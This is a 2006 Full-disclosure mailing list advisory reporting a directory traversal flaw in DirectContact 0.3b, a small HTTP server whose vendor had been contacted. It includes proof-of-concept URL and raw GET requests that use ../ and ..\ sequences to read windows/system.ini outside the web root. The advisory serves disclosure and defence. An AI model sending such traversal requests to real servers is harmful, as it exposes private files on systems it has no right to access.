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[Full-disclosure] directory traversal in DirectContact 0.3b

from [Donato Ferrante] Network Security [Permanent Link]
Subject: [Full-disclosure] directory traversal in DirectContact 0.3b
Date: Mon, 27 Feb 2006 20:28:22 +0100 
                          Donato Ferrante


Application:  DirectContact
             http://reyero.info/dc/

Version:      0.3b

Bug:          directory traversal

Date:         27-Feb-2006

Author:       Donato Ferrante
             e-mail: fdonato@autistici.org
             web:    www.autistici.org/fdonato



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1. Description
2. The bug
3. The code
4. The fix



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----------------
1. Description:
----------------

Vendor's Description:

"DirectContact turns your computer in real "friendly" HTTP server."



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------------
2. The bug:
------------

The program is unable to manage malicious patterns like ..\ or ../.
So an attacker can go out the document root assigned to the webserver
and see/download all the files available on the remote system.



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-------------
3. The code:
-------------

To test the vulnerability:

via browser:
http://[host]:[port]/..\..\..\..\windows/system.ini

via raw request:
GET /../../../../../../windows/system.ini HTTP/1.1



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------------
4. The fix:
------------

Vendor has been contacted.
Bug will be fixed in the next release.



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